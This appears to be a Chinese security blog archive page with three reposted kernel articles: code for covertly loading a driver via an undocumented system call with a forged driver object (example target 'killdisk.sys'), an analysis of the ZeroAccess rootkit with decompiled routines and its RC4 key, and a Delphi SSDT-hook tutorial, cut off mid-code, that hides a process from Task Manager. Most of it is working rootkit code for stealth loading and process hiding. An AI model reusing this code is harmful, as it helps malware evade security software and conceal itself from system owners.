显示标签为“Hook”的博文。显示所有博文
显示标签为“Hook”的博文。显示所有博文

2011年8月8日星期一

無hook無patch 無自定義peloader 在內核加載執行驅動

作 者: cvcvxk
時 間: 2011-08-07,21:22:23


我們都知道ZwSetSystemInformation可以用參數SystemExtendServiceTableInformation(38號)加載驅動~但是這個加載驅動有很多很多麻煩與問題~
今天我來介紹的是一種全新的加載驅動的模式~~當然只能在Kernel mode來加載~只有斷斷的一個KernelAPI的使用哦~親~
現在目前說來在內核裡加載驅動的方式基本都是ZwLoadDriver,Patch 38號的Load參數,搜索使用MmLoadSystemImage,自己實現peloader等​​不方便不給力,有遺憾的方法~
現在呢,正式介紹一種全新的加載方式,使用ZwSetSystemInformation的
SystemLoadGdiDriverInSystemSpace(54號)來加載驅動,然後調用之~~
這個infoclass的結構定義,不知道DDK上有沒有~~


代碼:
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
        UNICODE_STRING DriverName;
        PVOID ImageAddress;
        PVOID SectionPointer;
        PVOID EntryPoint;
        PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
        ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
然後就是怎麼使用了鳥~只要對DriverName用RtlInitUnicodeString賦值就行了
(\\??\\XXXXX形式的參數或者是\\SystemRoot\\XXX形式)
具體請看代碼,代碼如下~~


代碼:
NTSTATUS SysLoad(const WCHAR *wcsFileName)
{
        SYSTEM_GDI_DRIVER_INFORMATION gdiinfo;
        NTSTATUS ns;
        PDRIVER_OBJECT pBeepObj;
        RtlZeroMemory(&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        RtlInitUnicodeString(&gdiinfo.DriverName,wcsFileName);
        ns=ZwSetSystemInformation(SystemLoadGdiDriverInSystemSpace,&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        if (NT_SUCCESS(ns))
        {
                PDRIVER_INITIALIZE InitRoutine;
                UNICODE_STRING pRegPath;
                UNICODE_STRING NameBuffer;
                UNICODE_STRING DevName;
                WCHAR buffer[60];
                InitRoutine = (PDRIVER_INITIALIZE)gdiinfo.EntryPoint;
                if (InitRoutine)
                {
                        PDRIVER_OBJECT pDriverObject;
                         _snwprintf(buffer, (sizeof(buffer) / sizeof(WCHAR)) - 1, L"\\Driver\\%08u", PsGetCurrentThreadId());
                        RtlInitUnicodeString(&NameBuffer,buffer);
                        RtlInitUnicodeString(&DevName, L"\\Driver\\Beep");
                        RtlInitUnicodeString(&pRegPath,wcsFileName);
                        ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL,
                                0, *IoDriverObjectType, KernelMode, NULL, &pBeepObj);
                        if (NT_SUCCESS(ns))
                        {
                                ns=MakeFakeDriverObject(&NameBuffer,&pDriverObject);
                                if(NT_SUCCESS(ns))
                                {
                                        pDriverObject->DriverStart=InitRoutine;
                                        pDriverObject->DriverInit=InitRoutine;
                                        pDriverObject->DriverSection=pBeepObj->DriverSection;
                                        pDriverObject->DriverSize=gdiinfo.ImageLength;
                                        ns= InitRoutine(pDriverObject,&pRegPath);
                                }
                        }
                        
                }
        }
        return ns;
}
在上面代碼裡使用了MakeFakeDriverObject來創建一個虛擬的DriverObject
這個函數代碼在這裡也貼一下~

代碼:
NTSTATUS
        IopInvalidDeviceRequest(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
{
        if ((IoGetCurrentIrpStackLocation(Irp))->MajorFunction == IRP_MJ_POWER) {
                PoStartNextPowerIrp(Irp);
        }
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        IoCompleteRequest( Irp, IO_NO_INCREMENT );
        return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS MakeFakeDriverObject(IN PUNICODE_STRING driverName,OUT PDRIVER_OBJECT* ppdriverObject)
{
        NTSTATUS status;
        ULONG i;
        OBJECT_ATTRIBUTES objectAttributes;
        PDRIVER_OBJECT driverObject;
        InitializeObjectAttributes( &objectAttributes,
                driverName,
                OBJ_PERMANENT,
                (HANDLE) NULL,
                (PSECURITY_DESCRIPTOR) NULL );
        status = ObCreateObject( ExGetPreviousMode(),
                *IoDriverObjectType,
                &objectAttributes,
                KernelMode,
                (PVOID) NULL,
                //(ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION )),//this will crash
                //because DRIVER_OBJECT is fixed but DRIVER_EXTENSION are growing bigger than ddk declared
                (ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION ) + 256),
                0,
                0,
                (PVOID *) ppdriverObject );
        if (!NT_SUCCESS( status ))
        {
                *ppdriverObject = NULL;
                return status;
        }
        driverObject=*ppdriverObject;
        RtlZeroMemory( driverObject, sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION) + 256 );
        
        driverObject->DriverExtension = (PDRIVER_EXTENSION) (driverObject + 1);
        driverObject->DriverExtension->DriverObject = driverObject;//這個DriverExtension常用,如果沒有直接慘死
        driverObject->Type = IO_TYPE_DRIVER;
        driverObject->Size = sizeof( DRIVER_OBJECT );
        driverObject->Flags = DRVO_BUILTIN_DRIVER;
        for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
                driverObject->MajorFunction[i] = IopInvalidDeviceRequest;
        _asm
        {
                        push eax
                        push ebx
                        mov eax,driverObject
                        mov eax,[eax+0x14]
                        mov ebx,[eax+0x34]
                         shr ebx,19
                        or ebx,1
                        shl ebx,19
                        mov [eax+0x34],ebx
                        pop ebx
                        pop eax
        }
        driverObject->DriverName.Buffer = ExAllocatePool( PagedPool,driverName->MaximumLength );
        if (driverObject->DriverName.Buffer)
        {
                driverObject->DriverName.MaximumLength = driverName->MaximumLength;
                driverObject->DriverName.Length = driverName->Length;
                RtlCopyMemory( driverObject->DriverName.Buffer,driverName->Buffer,driverName->MaximumLength );
        }
        return status;
}
ok這樣子就行鳥~~這些代碼只能在kernel mode加載sys哦~~親~~
就這樣子!

代碼:
SysLoad(L"\\??\\C:\\123\\killdisk.sys");

2011年8月1日星期一

ZeroAccess:內核模式下的一個高級rootkit 分析

文/Marco Giuliani 

      ZeroAccess rootkit 的安裝是由dropper病毒感染而成,dropper病毒通常是用戶訪問到crack 或warez 網站時被惡意下載至客戶端或者是黑客使用漏洞利用工具包exploit packs 惡意加載dropper 到客戶端生成的。 Dropper 運用了大量反調試技術以降低代碼被分析的可能。在首次解壓縮後,代碼會嘗試獲取如下特權:SeDebugPrivilege (允許用戶綁定一個調試器到任何進程.可訪問敏感和關鍵的操作系統組件),SeTakeOwnershipPrivilege(取得文件或其他對象的所有權), SeRestorePrivilege(恢復數據權限), SeSystemtimePrivilege(更改系統時間權限), SeSecurityPrivilege(管理審核和安全日誌). 然後才會感染有效載荷。

      在詳細分析感染過程之前,有必要簡要分析下ZeroAccess 是如何感染系統的。Dropper病毒會在驅動目錄下如“C:\WINDOWS\system32\drivers”下隨機選擇一個驅動,並覆寫此驅動源代碼(覆寫之前備份源碼),編譯並加載此惡意驅動後,它會創建一個新的磁盤設備對象,用來作為rootkit 自身創建的捲隱藏驅動入口點,並保存它的文件和數據。

      儘管很類似TDL3 rootkit 的感染方式,但它很有效。 ZeroAccess 與TDL3 的主要區別:

   其一,ZeroAccess在文件系統內創建一個隱藏的加密新卷,而TDL3 則是利用硬件驅動的末尾幾個扇區創建一個嶄新的加密文件系統;其二,兩者的rootkit 都是感染一個隨機驅動,但ZeroAccess 是通過完整覆寫指定驅動的源代碼,而TDL3 則是劫持驅動的入口點,覆寫不超過1KB字節大小的驅動資源段;其三,磁盤I/O 驅動過濾引擎完全不一樣,TDL3 在性能上略勝一籌。

      下面我們將深入地分析ZeroAccess rootkit 中的驅動感染函數如何工作,以及rootkit如何選擇合適驅動進行感染:
    (1) rootkit 計算一個用來校驗驅動鏡像文件大小的特殊值,分析實例的值為0x7410(29712字節大小),即rootkit 內核驅動大小。

    (2) rootkit 調用SystemModuleInformation類中的成員函數ZwQuerySystemInformation 枚舉系統內所有驅動。

    (3) 目標驅動必須在​​定位在classpnp.sys驅動和win32k.sys 驅動之間。

    (4) 在classmp.sys和win32k.sys 之間且鏡像文件小於0x7410 的驅動將被放棄。

    (5) 大於0x7410值的所有驅動需校驗以下值:驅動文件名必須以“.sys”擴展名結尾;驅動寄存器鍵碼的起始值必須大於0 (驅動不應該在系統啟動時被啟動起來);驅動的PE 導出表必須為0 (驅動不應導出任何內容)。

    (6) 若第5步列出的要求都符合,則此驅動可標識為“良好的潛在目標”,即將SYSTEM_MODULE->ld 結構體設置為1.

    (7)循環遍歷所要滿足大於0x7410值的驅動,直到驅動全部分析完畢。

      第一輪循環遍歷完成後,找出所有具備條件的目標驅動,然後再進入第二輪的循環搜索,直至找到一個最適合感染的驅動,具體策略:其一,rootkit 調用GetTickCount( )和

   RtlRandom() 方法計算出一個隨機值;其二,使用RandomValue%NumberOfProtentialTargetsFount 等式初始化輪詢的計數器counter;其三rootkit 循環遍歷所有系統驅動,每找到一個具備條件的驅動(設置SYSTEM_MODULE->ld =1),counter 自減。

      當counter == 0 時,rootkit 確定出一個可感染的目標驅動,並創建一個新的section段,命名為\.<待感染的驅動名>,如“\.NdProxy”),以暫存一個未感染的(clean driver) 驅動源碼。隨後,Rootkit會在“HKLM\SYSTEM\CurrentControlSet\Services”下創建一個新服務的註冊表鍵值,鍵碼的ImagePath值設置成“\*.”,這是避免文件加載時被安全軟件攔截的一個巧點子。通過設置值“\*.”,安全軟件將會被愚弄過去,因為它並沒有指向任何一個真實文件,但實際上,rootkit的dropper已經通過調用API 函數ZwCreateSysbolicLinkObject 創建了一個新符號鏈接使其“\ *”指向一個真實文件。

      Dropper 通過整體覆寫內核模式下的驅動源碼方式感染目標驅動,並調用ZwLoadDriver函數加載驅動。在覆蓋驅動實體前,dropper 會首先暫停所有與sfc_os.dll 模塊相關的線程,最後確定係統文件校驗SFC線程是否暫停運行。在整個感染完成後,重新啟動已暫停線程。在執行受感染的有效載荷之前,dropper會檢驗自身是否運行在WoW64 的模擬環境下。

   若是,進程立刻終止。 Rootkit 當前並不會去感染X64 位的Windows 系統,而且dropper會校驗感染函數是否調用ZwOpenFile 函數嘗試打開了rootkit 設備,並運行在系統內部。若係統已經感染,rootkit 設備會返回一個NTSTATUS 錯誤即STATUS_VALIDATE_CONTINUE.
      Rootkit 驅動加載後,用戶模式下可以訪問到rootkit設備“\\?\ACPI#PNP0303#2&da1a3ff&0”,同時dropper也能使用NTFS文件系統格式化一個新卷,為了實現這些動作,它會加載fmifs .dll 模塊——針對可安裝的文件系統模塊格式化管理器,並導入API函數FormatEx( ).

     Format_Virtual_Drivproc near ; CODE XREF :Infection_Payload + 390
            pushesi
            push offset LibFileName ; "fmifs"
            callds:LoadLibraryW
            movesi, eax
            testesi, esi
            jz short loc_402032
            pushoffset_ProcName ; "FormatEx"
            pushesi ; hModule
            callds:GetProcAddress
            testeax, eax
            jz short loc_40202B
            push offset sub_401FEB
            push 0
            push 1
            push offset unk_40A3A0
            push offset aNtfs; "NTFS"
            push 0Bh

            push offset a?AcpiPnp03032D
            calleax
     loc_40202B: ;CODE XREF : Format_Virtual_Drive+20

     pushesi ; hLibModule
     call ds: FreeLibrary


      新的隱藏卷現在可以用來存放被覆蓋之前的驅動源碼實現。 Dropper 並不會使用真實的文件名,它會隨機產生一個文件名,具體操作如下所示:

    (1)rootkit 調用ZwQueryKey 函數,帶上參數KeyBasicInformation,查詢註冊表鍵值“HKLM\SYSTEM\CurrentControlSet\Control\agp ” ; 之後rootkit 會詢問參數值“_KEY_BASIC_INFORMATION->LastWriteTime”,並產生兩個特殊種子值,第一個值即通過LastWriteTime 參數的LowPart 和HighPart 做異或操作得到;第二個種子的值即在前一個種子值的基礎上再加上“LowPart+1”。完成步驟1後,rootkit 會使用一個啟動字符串變量用來產生一個隨機的字符串組成新的文件名。字符數組值為“eaoimnqazwsxedcrfvtgbyhnujmikolp”。

    (2)文件名由8 個字符構成,故函數按照以下方式循環獲取單個字符,種子Seed 和0x1F做與操作(0x1F 即字符數組長度),得到的值作為啟動數組StartingString 的索引,即新文件名的某個字符值;同時每次循環時,使用_allshr()函數使Seed 值右移5位。 (在內核模式的驅動程序中針對一個64 位的LARGE_INTEGER 使用移位操作符<<和>>,編譯器和鏈接器會自動導入ntoskrnl.exe 的_allshr() 和_allshl()函數)。

    (3 ) 直到完整構造出一個8 字節的字符串, 並將文件存儲在“\??\ACPI#PNP0303#2&da1a3ff&0\L\Snifer67”,其中Snifer67被替換成新產生的文件名,文件名生成函數如下:

    char *StartString = "";
    charFileName[9];
    DWORD index=7;
    RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\agp",
    &regKey);
    NtQueryKey(regKey, KeyBasicInformation, &KeyInfo,
    sizeof(KEY_BASIC_INFORMATION),&result);

    seed2 = (KeyInfo.LastWriteTime.HighPart ^ KeyInfo.LastWriteTime.LowPart);
    seed = (Seed2 + KeyInfo.LastWriteTime.LowPart + 1);
    while(index >= 0){
        FileName[index] = StartString[(seed & 0x1F)];
        _allshr(&seed, &seed2, 5);
         if(index == 0) break;
           index--;
    }

      文件名產生後,rootkit 設備內創建此文件,同時clean驅動的整體拷貝存放在此處。
                                  

                            內核模式Rootkit 感染

                      
      下面我們將更深入地分析ZeroAccess rootkit 感染後的內核驅動是如何工作的。由上小節可知,rootkit創建了一個命名為“ACPI#PNP0303#2&da1a3ff&0”的新設備對象,用作訪問rootkit 隱藏設備的入口Gate. 然後,它通過劫持與底層設備端口通信的disk.sys攔截Windows 的磁盤I/O. 此時,若用戶嘗試讀寫被攔截的驅動時,rootkit 會顯示原有驅動清潔拷貝來偽造文件內容。

       Rootkit 啟動後,它會校驗註冊表啟動項鍵值是否已執行來判斷其是否首次運行在系統上。如它來自.<drivername> (eg. .NdProxy)服務的註冊表鍵值,則斷定其是首次運行,此時rootkit 會刪除此鍵值。隨後,rootkit 讀取受感染的驅動路徑,並調用RtlHashUnicodeString 函數計算出驅動路徑和文件名的hash 值。 Rootkit 利用計算出的hash 來校驗是否有人嘗試訪問過受感染驅動。感染後的驅動備份拷貝存儲在內存中,由特殊的MDL 指向。

      此時,Rootkit 具備創建屬於自己的代碼的機會,調用IoCreateDriver ()函數,並設置自己的驅動對象,將對象隱藏在DriverSection 中,同時將它所有的派遣函數地址指向一個特殊的rootkit 派遣函數。為了隱藏新產生的驅動對象,rootkit 竊取原磁盤驅動“\driver\disk”的對象,並一個一字段的拷貝clean驅動disk.sys 的驅動對象成員到一個偽造的驅動對像上,兩者之間的每個成員地址如下:

   偽造的磁盤驅動結構體:
lkd>dt _DRIVER_OBJECT 0x8201f590
     nt!_DRIVER_OBJECT
        +0x000 Type : 4
        +0x002 Size : 168
        +0x004 DeviceObject : 0x81fd5040 _DEVICE_OBJECT
        +0x008 Flags: 0x12
        +0x00c DriverStart: 0xf86cb000
        +0x010 DriverSize : 0x8e00
        +0x014 DriverSection : 0x821edbc0
        +0x018 DriverExtension : 0x8201f638 _DRIVER_EXTENSION
        +0x01c DriverName : _UNICODE_STRING "\Driver\Disk"
        +0x024 HardwareDatabase : 0x8066e9d8 _UNICODE_STRING
     "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
        +0x028 FastIoDispatch : (null)
        +0x02c DriverInit : 0xf86d28ab long +fffffffff86d28ab
        +0x030 DriverStartIo : (null)
        +0x034 DriverUnload : (null)
        +0x038 MajorFunction : [28] 0xf4b79134 long +ffffffffff4b79134

   原磁盤驅動對象結構體:

     lkd>dt _DRIVER_OBJECT 821eb320
     nt!_DRIVER_OBJECT
        +0x000 Type : 4
        +0x002 Size : 168
        +0x004 DeviceObject : 0x821a89f0 _DEVICE_OBJECT
        +0x008 Flags : 0x12
        +0x00c DriverStart : 0xf86cb000
        +0x010 DriverSize : 0x8e00
 
        +0x014 DriverSection : 0x821edbc0
        +0x018 DriverExtension : 0x821eb3c8 _DRIVER_EXTENSION
        +0x01c DriverName : _UNICODE_STRING "\Driver\Disk"
        +0x024 HardwareDatabase : 0x8066e9d8 _UNICODE_STRING

     "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
        +0x028 FastIoDispatch : (null)
        +0x02c DriverInit : 0xf86d28ab long +fffffffff86d28ab
        +0x030 DriverStartIo : (null)

        +0x034 DriverUnload : 0xf86e253a
        +0x038 MajorFunction : [28] 0xf86e1c30 long +ffffffffff4b79134

       從上面的各結構體成員來看,除派遣函數和驅動對象(偽造的驅動對象指針指向自己構造的對象)外,其它成員值完全等同。 Rootkit 的驅動對象創建了兩個不同的設備對象,一個用來攔截發送給磁盤disk.sys 的I/O請求,另一個則指向隱藏設備對象,即訪問隱藏設備對象的入口地址。為了攔截磁盤驅動disk.sys 的I/O請求,rootkit 通過交換它的設備擴展對象結構體,實現設備對象“\driver\disk\DR0 ”設備對象的攔截。此時DR0_Device_Object->DevExtension->LowerDeviceObject 指針值被修改為rootkit 設備對象指針。此時rootkit 可以設置回調函數指針,待disk.sys 完成上層的I/O請求返回IRP時,IRP會轉到rootkit 的設備對象層,此時它可以分析IRP 內容並有效過濾部分內容,然後再將IRP 向上傳遞到端口設備驅動如atapi.sys等。

        Rootkit 分析IRP是否發送到偽造的設備對像上,若是,則它會調用自己的派遣函數處理IRP請求,在偽造的隱藏卷內,它可以處理所有IOCTL請求,如IOCTL_DISK_CHECK_VERIFY、IOCTL_DISK_IS_WRITEABLE等。隱藏卷是加密處理過的,rootkit 的讀寫請求能夠對磁盤上的數據進行加解碼操作。偽造的捲存儲在一個文件內,它位於“系統目錄\system32\config\<random file name>”,隨機名與dropper產生的文件名一致,並用來存儲感染驅動的拷貝。這個文件在磁盤上總是加密的,rootkit 使用的加密算法為RC4,密鑰長度為128 位,RC4 加解密操作是以扇區為單位進行的,加密密鑰內容為:
   “0xFF,0x7C,0xF1,0x64,0x12,0xE2,0x2D,​​0x4D,0xB1,0xCF,0x0F,0x5D,0x6F,0xE5,0xA0,0x49”,rootkit 的加解密處理如下:

      相反,若IRP沒有轉向rootkit 設備上來,派遣函數會分析請求包,在磁盤上的已感染驅動文件內搜索I/O 請求。 Rootkit 過濾IPR_MJ_INTERNAL_DEVICE_CONTROL 函數,並蒐索SCSI 請求塊結構。若SRB->Function == SRB_FUNCTION_EXECUTE_SCSI,過濾函數會繼續搜索。 Rootkit 檢驗文件對象結構體是否為未決IRP 請求填充的,若是,則調用RtlHashUnicodeString 函數計算文件路徑的hash值,同時計算rootkit 驅動啟動時受感染驅動路徑的hash 值,將兩者進行比較,若相等,則此IRP請求系rootkit 偽造。

      若SCSI_REQUEST_BLOCK 請求包操作是SCSIOP_READ,讀請求會傳遞給底層端口設備,返回的結果被rootkit 的CompletionRoutine 函數虛構;若操作為“SCSIOP_WRITE”,則底層返回的buffer 會被受感染的驅動rootkit 覆寫,ZeroAccess感染後的驅動代碼執行流如下圖所示:


       Rootkit 工作在TDI 網絡層,可繞過那些未在網絡層級監控網絡連接的防火牆及各類安全軟件,rootkit 發送一個加密請求給列表內的所有server 時,請求包會發送到遠端的TCP端口13620上。 Rootkit 通過下載並存儲一些相關文件到rootkit 的隱藏卷中,允許攻擊者放棄系統內的深層次感染,從而實現對安全軟件的透明。這些dropped文件以內核模式驅動的形式存在,因為rootkit 主驅動能夠在內核中通過調用IoCreateDriver()函數定位到它們。

                                  小結

       ZeroAccess 絕對是當前最先進的內核模式rootkit 之一,儘管它沒有TDL rootkit 家族系列那麼強大,但它具備很多獨有的特性,使其具備很大的威脅。 ZeroAccess 提供的一些強大的功能如修改並感染系統核心驅動如disk.sys,atapi.sys,並竊取PIC 驅動對象抵禦文件系統取證技術;用戶模式下的進程創建攔截與DLL 劫持;、DLL 隱藏與反病毒軟件繞過技術等。

2011年7月28日星期四

SSDT Hook原理及Delphi實現

作者:mickeylan
  
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。

用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
  ServiceTableBase:PULONG;
  ServiceCounterTableBase:PULONG;
  NumberOfServices:ULONG;
  ParamTableBase:PByte;
end;

其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:

右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:

其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
  Next: PMDL;
  Size: CSHORT;
  MdlFlags: CSHORT;
  Process: PEPROCESS;
  MappedSystemVa: PVOID;
  StartVa: PVOID;
  ByteCount: ULONG;
  ByteOffset: ULONG;
end;

首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:

{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
  SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
  SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
  SystemInformationLength: ULONG;
  ReturnLength: PULONG): NTSTATUS; stdcall;

如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;

interface

uses
  nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                      pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
  {定義ZwQuerySystemInformation函數類型}
  TZwQuerySystemInformation =
    function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;

var
  m_UserTime: LARGE_INTEGER;
  m_KernelTime: LARGE_INTEGER;
  OldZwQuerySystemInformation: TZwQuerySystemInformation;
  g_pmdlSystemCall: PMDL;
  MappedSystemCallTable: PPointer;
  lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
  當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
  IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
  FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
  需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
  { 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
    KeServiceDescriptorTable }
  Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
  { SSDT偏移+函數名,就是SSDT函數偏移 }
  { Delphi 2009中支持Pointer Math運算,可以這樣寫 }
  {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
  { 如果用其他版本,就只能像下面這樣寫了 }
  Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
            SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
            ReturnLength: PULONG): NTSTATUS; stdcall;
var
  nt_Status: NTSTATUS;
  curr, prev: PSYSTEM_PROCESSES;
  times: PSYSTEM_PROCESSOR_TIMES;
begin
  nt_Status := OldZwQuerySystemInformation(
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

  if NT_SUCCESS(nt_Status) then
  begin
    { 請求文件、目錄列表 }
    if SystemInformationClass = SystemProcessesAndThreadsInformation then
    begin
      { 列舉系統進程鍊錶 }
      { 尋找"InstDrv"進程 }
      curr := PSYSTEM_PROCESSES(SystemInformation);
      prev := nil;
      while curr <> nil do
      begin
        DbgPrint('Current item is %x'#13#10, curr);
        if curr^.ProcessName.Buffer <> nil then
        begin
          if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
          begin
            Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
            Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

            if prev <> nil then
            begin
              { Middle or Last entry }
              if curr^.NextEntryDelta <> 0 then
                Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
              else
                { we are last, so make prev the end }
                prev^.NextEntryDelta := 0;
            end else
            begin
              if curr^.NextEntryDelta <> 0 then
              begin
                { we are first in the list, so move it forward }
                PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                curr^.NextEntryDelta;
              end else { we are the only process! }
                SystemInformation := nil;
            end;
          end;
        end else { Idle process入口 }
        begin
          { 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
          Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
          Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

          { 重設時間,為下一次過濾 }
          m_UserTime.QuadPart := 0;
          m_KernelTime.QuadPart := 0;
        end;
        prev := curr;
        if curr^.NextEntryDelta <> 0 then
